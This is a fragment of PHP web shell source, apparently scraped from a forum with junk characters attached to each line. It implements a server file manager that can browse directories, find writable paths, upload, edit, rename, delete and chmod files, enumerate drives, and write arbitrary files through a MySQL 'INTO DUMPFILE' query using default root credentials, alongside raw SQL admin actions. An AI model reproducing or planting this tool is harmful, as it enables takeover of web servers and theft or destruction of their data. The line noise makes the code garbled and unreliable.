- formhead(array('name'=>'copyfile'));* O; G: v6 O5 r a7 ~! K
- makehide('sname');
% t/ Y, F: h$ U+ h - makehide('tofile');
, f2 p. ~6 r( N) e$ ? - makehide('dir',$nowpath);
6 a, ?- u/ `" H( W5 o$ z - formfoot();
|) g) I' M* b/ r: E- P - formhead(array('name'=>'rename'));+ j% E5 T3 V& T. ]
- makehide('oldname');
# x, V8 d+ d8 [2 Y - makehide('newfilename');. T3 {- y5 v E- @% @! b
- makehide('dir',$nowpath); A) i4 g5 Z1 H& M/ E1 K
- formfoot();. p6 \9 G0 V# @
- formhead(array('name'=>'fileopform'));0 ~2 B; g1 M, U! v. c
- makehide('action');
6 e f. U8 C7 w b7 G - makehide('opfile');
1 o8 u3 @# g A( {. {$ f/ ? - makehide('dir');
6 O5 r# b0 m8 M, B( I6 S# j - formfoot();8 w& a$ K1 {4 ~. M9 o0 b
-
" u$ o ^: l2 S( n - $free = @disk_free_space($nowpath);
3 x, X+ v" j8 A; | - !$free && $free = 0;
( Z/ C' f3 i. u' u! @1 d& T - $all = @disk_total_space($nowpath);7 G. b+ ?# ~0 h7 n a& I9 }
- !$all && $all = 0;
+ G! H1 X. J. d& g. g( U9 R - $used = $all-$free;
5 G6 k" {2 i5 g( Z9 B# R, ^ - $used_percent = @round(100/($all/$free),2);! i* J& o+ | p R, s- l
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');4 L; w- I! p k) ?
-
& a7 A: a5 c! v2 U - ?>
, @& j/ K# E- Q+ F% W) i" i/ e - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
: }5 }* f7 b+ {+ z8 l/ @- ~ - <form action="" method="post" id="godir" name="godir">6 g- q' i7 D" z
- <tr>
5 p/ P" v: n$ H' Z: j1 N0 K - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td># B8 H/ Y' W" \
- <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>( _2 [8 P+ z4 H T
- <td nowrap><input class="bt" value="GO" type="submit"></td>7 Z6 c. p) L6 {3 s
- </tr>5 f q1 X& F% S$ p0 H, b x
- </form>
9 P& L1 `4 \" i- a* G - </table>3 ]9 }) F# V/ }. K/ h
- <script type="text/javascript">1 F7 ]5 _2 q' ]3 ?) d" J
- function createdir(){7 [7 }, y; M4 n) q: |* y J
- var newdirname;+ J' P3 D: v4 \$ d8 e
- newdirname = prompt('Please input the directory name:', '');% A2 u7 K! P6 T- j
- if (!newdirname) return;( p1 _. l2 ?4 ]2 _2 E) O; X5 X
- $('createdir').newdirname.value=newdirname;+ W2 P( X( M2 D1 k# Q6 i
- $('createdir').submit(); X5 x- b, N. C3 ]5 _7 n: `
- }
6 s- m/ n7 m0 Q. `% z$ H8 N+ A0 o - function fileperm(pfile){
( j6 z% S3 b/ x - var newperm;
% \$ S# @. k! y# z& G8 r. n; n - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');+ F8 [1 e8 z+ ]& X) U, n7 a, ^
- if (!newperm) return;
% k) L7 ~* j7 E( O) |; V7 n! j - $('fileperm').newperm.value=newperm;' r7 y5 y5 k) l: K+ g, {
- $('fileperm').pfile.value=pfile;& b5 F$ i4 j/ |) I/ k+ I
- $('fileperm').submit();
4 ~, Y" \. W+ M. T; D; k2 Q2 S - }/ C$ _0 C; w2 [' D
- function copyfile(sname){
7 X$ Y8 j( A) ]: Z# R- ?& P0 R - var tofile;2 \3 i5 X8 H3 q2 d$ }% K: E: h/ [
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
, I- W) {: \/ y: l& a) W - if (!tofile) return;) Z$ K5 h' P: d) h# D! v% u
- $('copyfile').tofile.value=tofile;
; N5 K2 u, Y% r% ]- w+ o5 h - $('copyfile').sname.value=sname;
5 J( n4 i6 D! f; l" L% k3 P8 t - $('copyfile').submit();$ g. W* G/ d+ n" w1 g" x2 C
- }
7 g& V" X# X0 N0 V% U - function rename(oldname){
, G4 j7 f" k9 V* }( l7 D$ u* w - var newfilename;
! l0 t3 @' ^" H- A' V: }$ r - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
. `" d5 `3 i! j - if (!newfilename) return;
/ P4 z, O& f! ]4 ]. G* D - $('rename').newfilename.value=newfilename;; O) `8 f6 b! n, `1 @
- $('rename').oldname.value=oldname;
& b. v. F# j5 Y - $('rename').submit();) d/ y; s1 p5 V( a# w9 E& b$ l
- }
# @- P- p& |, f1 g/ z - function dofile(doing,thefile,m){ t* l7 c7 r' T1 o* r9 V
- if (m && !confirm(m)) {8 Q0 ]6 |$ q V
- return;1 t& v" E4 `" t8 V2 l! v9 i
- }9 y4 u( r/ K8 z
- $('filelist').doing.value=doing;2 [6 o c% Z2 g! M. E) H
- if (thefile){8 C4 I3 S2 u1 c5 h I: L/ q9 M: R
- $('filelist').thefile.value=thefile;' J+ l9 T; ?% c, h* V4 E$ ~
- }
& Y3 C! x2 Y4 e+ l/ J+ M, f - $('filelist').submit();+ j+ D4 w5 g1 c0 \- B
- }
2 U# ]: Y3 Y: P1 B - function createfile(nowpath){- l; @ e$ O8 \* c. y% v
- var filename;( m2 p! [/ N* U( v/ b! b) U
- filename = prompt('Please input the file name:', '');
: [1 S1 b% ~4 |+ l1 `! r. C; L! m - if (!filename) return;
, f# G7 ], j, J8 V* W - opfile('editfile',nowpath + filename,nowpath);3 u1 P* w- E8 j; R
- }
; _+ n6 s) d$ z) n+ B - function opfile(action,opfile,dir){
, @, U' E. Z$ V$ q _ - $('fileopform').action.value=action;7 R* c( r) v: |* u6 ^
- $('fileopform').opfile.value=opfile; R4 B9 Y, |4 I8 A' u& |
- $('fileopform').dir.value=dir;" E3 C: |, d4 o& f' |' B$ w
- $('fileopform').submit();
9 o% K5 ]7 ]( e% _" I' `' b - } ?' t, `1 J, v& y. F' _5 \. [& M
- function godir(dir,view_writable){
9 }: ]8 D% ^- ^" z - if (view_writable) {
$ }6 {: W$ R; p! @' r - $('godir').view_writable.value=1;; o% s) {+ f0 u7 B' U5 }! U' K& Z& ?
- }+ x- c9 k& T) u! }/ W- T
- $('godir').dir.value=dir;: _3 G" @. Z+ ^! ]7 l) B2 k# Y
- $('godir').submit();
. Q3 a0 P+ n2 E7 O3 p - }/ W; U6 `8 n6 B" M+ ^# j8 X o& s1 E8 V
- </script>
/ M; D G1 j1 Q: G! D. r/ Y8 l4 f - <?php7 d2 g, f {7 v" y( } q( e, d/ |1 V! U
- tbhead();/ ?) N" A- I! J8 p- p
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
: V- ^( M8 R+ O+ y G" w* c2 W F - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');9 e' m1 I! M$ c, f. M# X* _5 c
- p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');, s; S) V' c% o, |& }
- if ($view_writable) {
" @ V, ?+ n" {5 u. c N - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
" a" H/ m# s+ m! Z' {4 b - } else { r0 ?' u2 x; d/ Z/ O
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');, D$ { j1 v5 {2 i0 E
- }+ [; T) ]( }/ G$ q4 E
- p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');' _: j& S, X" [4 y( E* E
- if (IS_WIN && IS_COM) {2 P# W1 [2 l' s' T' G
- $obj = new COM('scripting.filesystemobject');
4 L3 ?9 e+ `' M- q* y7 @ - if ($obj && is_object($obj)) {2 u7 ]+ C- x) S0 |0 L1 ]( T
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
4 n! e# f( p+ G" G; H$ s - foreach($obj->Drives as $drive) {; p) L" d2 o, k) o. p4 V+ k
- if ($drive->DriveType == 2) { q; ~% h+ m9 X/ ]$ p
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
5 I: t$ k9 Y0 m9 h ~7 ^ - Free:'.sizecount($drive->FreeSpace).'6 b. N: v9 D6 U7 s
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
4 l* q/ \, a! U/ W( b" @ - } else {: S. l% f3 M9 V4 s
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');) E% ^2 o& o- w3 R9 W1 U2 w( C
- }
. T1 D+ {0 ?7 j/ h& I - }
6 n" G" W8 V9 y5 J/ W, W - }! d. f+ M4 \0 y* M! u
- }8 A4 s' u( ?" M' r Q" U
-
( m. v+ s: r( ~1 j4 u( ^ - p('</td></tr></form>');7 l0 d. D- i- R* T* |( l
-
+ h: y8 U, q, l - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');' O# Z# s' }$ X( }! Y
-
0 Y5 }) j" e2 b- o# i9 u - //查看所有可写文件和目录
* N, S4 m# i( s - $dirdata=array();
: C% B& z& ?) H/ w - $filedata=array();" Q5 s4 b4 n7 X! n2 k1 N2 p3 g6 Y
- ' j: I$ d `$ H4 \" g+ a2 w
- if ($view_writable) { }- m7 J# V) w6 C
- $dirdata = GetList($nowpath);
2 U: l; d) J5 R! E3 F& ]; q - } else {
* H/ U; V! I) A3 u3 ?( ? - // 目录列表
8 P$ K$ J2 \) T) q+ N4 x - $dirs=@opendir($dir); J( M a0 l0 _2 w3 Z2 v/ N
- while ($file=@readdir($dirs)) {
2 B( h4 E7 b: S3 \$ n1 I& u3 }1 a - $filepath=$nowpath.$file;+ g" H) E* O7 A }/ M
- if(@is_dir($filepath)){. e6 v2 }3 ?) v7 x) _
- $dirdb['filename']=$file;
) R: l5 k+ P( Z$ h2 M - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));2 J; s# U$ @0 V) `$ j# {8 N; W& P
- $dirdb['dirchmod']=getChmod($filepath);2 q9 y9 E( P) \- ^2 p* u+ ?
- $dirdb['dirperm']=getPerms($filepath);3 M3 d+ W& n3 |
- $dirdb['fileowner']=getUser($filepath);
- g% |* T( z( l0 @0 D - $dirdb['dirlink']=$nowpath;7 q U2 A v) J+ u3 y8 u
- $dirdb['server_link']=$filepath;" w7 r# _" Z O
- $dirdb['client_link']=ue($filepath);
! R! V1 @$ T1 w* I1 l - $dirdata[]=$dirdb;) j% l* f6 X( k# }2 C% g6 K
- } else { " L- Y" J5 ]3 | V4 `0 J( o1 M# m
- $filedb['filename']=$file;
" X: e; r) n* q# J - $filedb['size']=sizecount(@filesize($filepath));
( G, }; R3 `+ U- U) |4 W# _4 S - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
) Q& s9 t- L' e3 r6 |) e6 M - $filedb['filechmod']=getChmod($filepath);
6 [4 r1 c* [ m4 V. \ - $filedb['fileperm']=getPerms($filepath);$ V( C% J f) u5 P U4 X7 x
- $filedb['fileowner']=getUser($filepath);% v7 R0 h, q6 F* J
- $filedb['dirlink']=$nowpath;
* ]0 t0 v& h2 t. K - $filedb['server_link']=$filepath;! e! ^& x7 Z+ [8 h4 X1 }
- $filedb['client_link']=ue($filepath);
9 M' z* Z: |( z5 E - $filedata[]=$filedb;
. n0 D. [; d" b; Y# t1 j$ _5 M - }& o/ s) j, X8 H" v1 p3 e
- }// while# Q0 F2 Y9 s* U0 {$ V0 H
- unset($dirdb); I' {5 I0 `/ Z3 j, K* T
- unset($filedb);9 v3 V t& d' F" H Z; C
- @closedir($dirs);3 I; T8 O& E$ k) z: H9 B
- }) r u) t7 V+ D
- @sort($dirdata);
4 {8 u8 A1 L' S - @sort($filedata);* v( l7 C- a: X" U
- $dir_i = '0';
4 {: } Z0 e$ @ - foreach($dirdata as $key => $dirdb){4 h! c7 B4 }7 ^
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
' g( O: ]1 o) k - $thisbg = bg();
# ?! ^: E5 @2 M; M, n- T - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
' @3 l M$ u/ c( r" s- J% O - p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');4 _) H; O' Q7 E3 s- D! y
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
; d8 t% O% d2 u+ p# R" w$ B, f - p('<td nowrap>'.$dirdb['mtime'].'</td>');
/ u7 y9 g: Q; b1 }4 Y. \ V - p('<td nowrap>--</td>');
3 A, B+ U j1 a) s: k: f, ?3 D - p('<td nowrap>');
% A6 K! ]2 \- v# d+ W% }- S - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');9 p- I& ?2 j# E% Z. o. [; s
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');& E& Q% O1 k7 e$ z' S
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
: z- }" m" R: W7 k- c - p('</tr>');
( n& u; E2 s% Y V z- ~ - $dir_i++;
3 \8 A B. q: x! m' s - } else {1 z& B7 n. Y+ Q% {( z4 z
- if($dirdb['filename']=='..') {9 y; Z4 d2 t0 U9 z
- p('<tr class='.bg().'>');; p) o# h0 t& q9 ^: q; t
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
! i* T7 E3 I- ]8 x8 l - p('</tr>');) L7 `7 e" u5 u( _; G
- }; k' X: I0 }& q2 U$ N
- }" l! n7 C7 O+ [2 Q
- }
/ W X" |* ]/ ^3 ]3 i/ ? -
& i5 L7 o5 x$ ^ - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
5 `/ v% R E& @% ]1 H3 X - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
' C$ H! `8 G. @. I) L - makehide('action','file');
0 v( `/ c0 S, {, K; B# u8 S - makehide('thefile');
8 [3 u" K# V7 B1 u - makehide('doing');* w; _7 a+ I# S8 v0 P8 i
- makehide('dir',$nowpath);
0 B. @! z" v. D+ Q0 b- R6 Z: O - $file_i = '0';. t7 a3 o ]+ D$ L! E
- foreach($filedata as $key => $filedb){% O( d0 `( }( s& B- x7 f2 @; |% _
- if($filedb['filename']!='..' && $filedb['filename']!='.') {
$ c! i6 M+ H- @8 I1 y1 A - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);5 q! i' b7 q1 g6 I
- $thisbg = bg();
! c0 B& B! R* C) g) a - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
0 \. ]3 u- q9 x) [4 [ q - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');8 a' b- O0 L& E% ^ @9 a5 M
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
+ L, Y3 I: O a# l+ [8 q - p('<td nowrap>'.$filedb['mtime'].'</td>');
4 M! @1 K9 v9 ~) g' S - p('<td nowrap>'.$filedb['size'].'</td>');
( @+ b3 H5 b5 A& A! m8 u - p('<td nowrap>');
4 b$ ~* @1 J6 s q) V* D9 f - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
7 J y; z+ h) t/ k! p - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');& f% T4 [7 L: M- l
- p('<td nowrap>');
8 H f0 C5 y- [2 E - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
- Y) g) L2 l% ~+ S' k& [8 l - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
/ ?) m% K, X- R8 q% K - p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
4 ~& |% U% M5 Y# b - p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
" H; k1 g1 O& R: w9 O - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
8 I$ A& O4 B3 D1 \# } J5 S% a - p('</td></tr>');
+ ?1 V! k6 h1 @4 X9 S. u - $file_i++;% P+ |5 Z: O) |8 b# V1 W2 r
- }
: I/ R# j" [2 Q8 S0 E - }# f9 f; |' d* ~4 D2 V/ l+ L
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');8 b, H# Q5 i& Y1 }2 ?
- p('</form></table>');% v' p$ {. f% N( e8 _2 b+ d
- }// end dir. w' c4 B$ {2 R2 f8 l9 P
- 1 ^9 o9 ?. Q, L
- elseif ($action == 'sqlfile') {8 J0 k: _8 ?, ~# g3 ]* g& Z% ~; }7 ^
- if($doing=="mysqlupload"){
' w. \: x( f j5 X6 b8 H - $file = $_FILES['uploadfile'];- E5 @+ B* z& m
- $filename = $file['tmp_name'];
5 X$ x, Q- u' W7 h - if (file_exists($savepath)) {
* o' n- y6 x$ T - m('The goal file has already existed');
1 T, N7 `- B& e( @# j. t* [ - } else {) j0 k5 `4 Y& _# R1 q! s( D
- if(!$filename) {
1 `/ q& U6 D& C% E4 c - m('Please choose a file');
! ?/ k) o) B; ?/ a2 X4 P. P - } else {, k' f2 _" b. K: U, N: J
- $fp=@fopen($filename,'r');- v4 @" {# w" }+ l, C
- $contents=@fread($fp, filesize($filename));) L6 _6 a) o% Y0 K% r" H
- @fclose($fp);
% S) j( @% u7 s5 P' S, u7 ~ - $contents = bin2hex($contents);: T2 C. `9 _: @
- if(!$upname) $upname = $file['name'];
* W% Y- E; a( t( ?! w - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);# Q! k7 f1 B) F$ p! o: F
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
7 P; p; a, E$ f+ `7 l0 T - m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
d+ r" v0 T4 A- q6 s1 X - }+ i1 S9 w1 T0 j# z& w0 ~
- }- j4 P- T: ?/ M2 Y( A; z' L* r- E
- }: g7 ^3 _- f9 u9 s) ?
- ?>
, Z `" [+ }9 [- r: ^/ A - <script type="text/javascript">; p6 z9 w2 |2 i) z/ a, j. |, x
- function mysqlfile(doing){0 Y; a5 h+ Z# C% H& H0 i, ^3 R
- if(!doing) return;" \2 E* Z" b! _3 ?! p# ~( J$ J
- $('doing').value=doing;
" w1 ?3 G+ O4 U- w3 b - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
! c. h8 p; k9 H3 I) W6 A7 U6 x. z - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
* x1 l" ]! ?4 X9 a, Z - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
8 \& p1 Y! @% u2 A! A$ b; B- ] - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;+ [5 [. @, N7 Y
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;# q, ^0 Z" t* B$ \# u6 [" L2 Q4 ~
- $('mysqlfile').charset.value=$('dbinfo').charset.value;
4 Z3 H" S; F2 B$ w6 R3 d3 ` - $('mysqlfile').submit();( S. \4 n6 e+ A. y9 E7 l1 p
- }. `( z% C* _. D6 M9 U
- </script>2 }0 U1 x& G1 M1 i% y& I
- <?php* P( C; B+ I- k5 N
- !$dbhost && $dbhost = 'localhost';
9 y) U& H. z% U% {, M - !$dbuser && $dbuser = 'root';( d5 T5 I9 E, ^. [9 V& `
- !$dbport && $dbport = '3306';
& j* v; h. A1 |" h% r* p6 Y - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
6 j1 ?. x% j4 k" g# o - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
" Y- E9 {, _" p4 V - makehide('action','sqlfile');
5 P6 P [2 y' o4 m8 r - p('<p>');
# Z0 t6 c3 {$ T' v7 K0 ?1 C. S - p('DBHost:');
- A6 }2 [4 z2 @2 u( J: I - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
* x5 ^) N) ^) \9 N: m - p(':');
* ~4 U! [& I" Z7 W. g5 U9 l, \9 t - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
5 k2 |2 F l; {/ ? - p('DBUser:');
% B' O9 U# A0 v' N" ~7 F - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
) e" p$ B" q5 n5 X - p('DBPass:');
1 P5 q* o: q+ c - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
j0 M$ Y4 Y( Y; p$ w, Y - p('DBName:');
m3 D6 U) `+ ?# i: {8 o1 F - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));% u5 {& z: m z0 x: p9 _
- p('DBCharset:');& I5 z9 b1 |* }4 F4 A1 s
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));& D5 b2 u) T W
- p('</p>');, p- @! I, N6 t, p. S# A
- formfoot();- x1 ?; c8 U: J! c/ Z
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');, O6 e4 k# ~% E" j* `
- p('<h2>Upload file</h2>');
7 P) ]- u+ s+ Y - p('<p><b>This operation the DB user must has FILE privilege</b></p>');
# L" q: r3 O; s2 [! |3 } - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>'); }4 Y: K" x/ t7 ~, u0 o
- p('<h2>Download file</h2>');
( \! P$ ?3 m9 Y! w5 B" f0 b1 ~8 O - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
f2 x/ _; g! K% p - makehide('dbhost');* V0 _1 T' @8 P# N/ C% v
- makehide('dbport');
5 Z0 e+ j" J! M( o0 L; Z - makehide('dbuser');
6 o7 r, u# H- f9 B - makehide('dbpass');
8 t# j+ Z$ Z2 B2 t" J - makehide('dbname');
5 `! d1 ?& h" q/ ? - makehide('charset');
+ U4 h+ A3 J0 M4 d/ J - makehide('doing');6 Z3 W' z* ?" Y- ^/ ~8 H3 h B
- makehide('action','sqlfile');
. t' W$ H6 n( ] - p('</form>');
! e5 s: m- ]2 o6 y) D - }
_3 C: p ?6 u8 j" n' N- _ -
; N- Q$ E$ v, M. u9 j; o - elseif ($action == 'sqladmin') {
( _3 W- b0 T7 S - !$dbhost && $dbhost = 'localhost';: u4 m% a1 K9 Z* y
- !$dbuser && $dbuser = 'root';2 B5 g" o0 I& B1 ?* j
- !$dbport && $dbport = '3306';- T! B2 c" h( I3 C
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';: b+ r: F: c3 ]; h5 e5 D9 \
- if(isset($dbhost)){% q; g d: _7 B8 g3 h
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";( w& I* V. ]: m* |
- }
+ u9 g! i# i. A0 Q! x( x - if(isset($dbuser)) {8 r* ~; W1 F# G) C9 C
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
; a( }0 G6 f# N# |$ T - }* Z6 \) o' w; J; D3 ?
- if(isset($dbpass)) {
1 ~. B' }7 O! F7 ] - $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";) u! O# r/ P& Q
- }
" O0 {% J4 S8 T& k' e" { @ - if(isset($dbport)) {
) f; ?6 `/ a! v- a - $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";! L1 B2 C' X; O; }+ [; N+ h
- }
: d. @9 Z6 ]4 h% q) s- [* ^6 T - if(isset($dbname)) {; K `* H/ r1 R. n5 `6 r( K
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";2 E( G g" }2 W) E
- }# A" h1 P& v9 `4 q$ t* x
- if(isset($charset)) {, Y4 p: E/ o# c) m" o9 u
- $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n"; f1 }4 x; m4 P- n8 Q# K4 x! E
- }
4 Q# U6 G: [3 }2 w - ( f& V( @0 e1 H) p5 ~) H0 ?
- if ($doing == 'backupmysql' && $saveasfile) {; ~* D1 }3 h# p8 \6 W5 D; i, l
- if (!$table) {
5 E j) o/ m$ f! k - m('Please choose the table');$ A! X4 U$ ^/ c \3 s
- } else {7 P( D N6 O* e, Y
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);, `; z1 \# A" a7 r+ G$ u2 r9 o
- $table = array_flip($table);
% B+ _2 |1 @+ H5 z; ~) ?! D - $fp = @fopen($path,'w');
' I! C" X2 F' L8 u+ w3 Y" a - if ($fp) {' z4 Q# ~5 v% k/ n
- $result = q('SHOW tables');
8 B- W" W/ S2 {+ Q - if (!$result) p('<h2>'.mysql_error().'</h2>');; O3 H# U0 D1 h$ r
- $mysqldata = '';6 E, u8 @1 i$ J1 T3 [. k
- while ($currow = mysql_fetch_array($result)) {. X) B# }( G- ]- L4 t
- if (isset($table[$currow[0]])) {
- Y+ f; i- ?# v! F4 A9 ~. g - sqldumptable($currow[0], $fp);
" S$ o* j4 h5 R - }
. L6 d: I* ~' x' h - }
/ ?9 {- N" X7 v, K* l; | - fclose($fp);4 N) z$ K# d/ W* G2 o, r+ q
- $fileurl = str_replace(SA_ROOT,'',$path);' R5 v5 `0 J: ^ @& o1 O! a9 e4 J
- m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
0 E( I5 T7 F4 \# E, [) D3 M3 S - mysql_close();
9 U- n- n: N6 n - } else {/ M" A( u& H4 C- c- ?% f( P. U
- m('Backup failed');- Y% E4 j3 D9 D2 w3 J! D; x
- }6 S0 `( j U3 M9 @
- }1 p+ g0 @1 l' S( C
- }
1 E h1 k. ], i7 p0 }. M - if ($insert && $insertsql) {
* i1 }; _' B+ ~2 O' x9 g1 [ - $keystr = $valstr = $tmp = '';4 M1 I, q7 }% {7 ~% z
- foreach($insertsql as $key => $val) {$ s' E: L, [4 {* c5 T
- if ($val) {7 n' F/ o3 F# s; ?: M% {. h
- $keystr .= $tmp.$key;
$ J1 Y* f9 p( R2 a w ~ - $valstr .= $tmp."'".addslashes($val)."'";: G5 {) Q0 b# S/ v/ u* U6 P
- $tmp = ',';
& o- `( k% C$ r6 _2 W - }! ^& b( G. i! F0 B
- }
3 _. z) E4 ~: ~ - if ($keystr && $valstr) {/ j9 ]* @6 b" R. N- |
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);+ n- W5 h- T, C5 g# @3 D, \
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
' `. {7 l. A% I- w" [ - }
4 Y* G1 `# k" E( y ^( ~& f- C - }1 u3 x \% W, `1 X2 Z& i) {
- if ($update && $insertsql && $base64) {
7 B3 ~$ h4 K2 A) e: ?' x$ _& o - $valstr = $tmp = '';
( \% }6 B) T/ ~: a& T& B - foreach($insertsql as $key => $val) {
" @$ W! ]* R6 O) v4 v - $valstr .= $tmp.$key."='".addslashes($val)."'"; L9 L1 j5 O/ t; p* l0 p. h* c
- $tmp = ',';' k2 ^( S, p7 Y7 z
- }0 I9 l8 L- d, B& ~- Q
- if ($valstr) {
; h$ e a6 v/ k% c6 P* T( q: K% { - $where = base64_decode($base64);% x$ Q7 x+ p. b' `
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);+ T$ M7 z7 _3 u3 [4 n- V
- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
- A4 ?% i, w8 }' V, h/ f - }+ N2 _1 R8 B/ i# s [
- }! s. h; n0 L" t+ l, Z: T- ~0 N5 J
- if ($doing == 'del' && $base64) {
/ R0 V$ `% Q/ T - $where = base64_decode($base64);
$ |8 U% q$ p1 ] - $delete_sql = "DELETE FROM $tablename WHERE $where";
. S" ]9 _) [- C - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
( ^& b" F$ j1 o0 F. q - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
0 ~# W4 j7 |3 C" s' Q - }
